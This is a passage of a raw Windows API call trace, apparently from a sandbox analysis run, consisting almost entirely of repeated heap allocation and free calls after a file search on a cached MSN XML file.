dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0128.022] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020cc8 | out: hHeap=0x5c0000) returned 1 [0128.022] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0128.022] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.022] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.022] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.023] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.023] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.024] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.024] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.025] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.025] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.026] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.026] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.027] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.028] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0128.028] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0128.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0128.029] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0128.029] RtlAllocateHeap 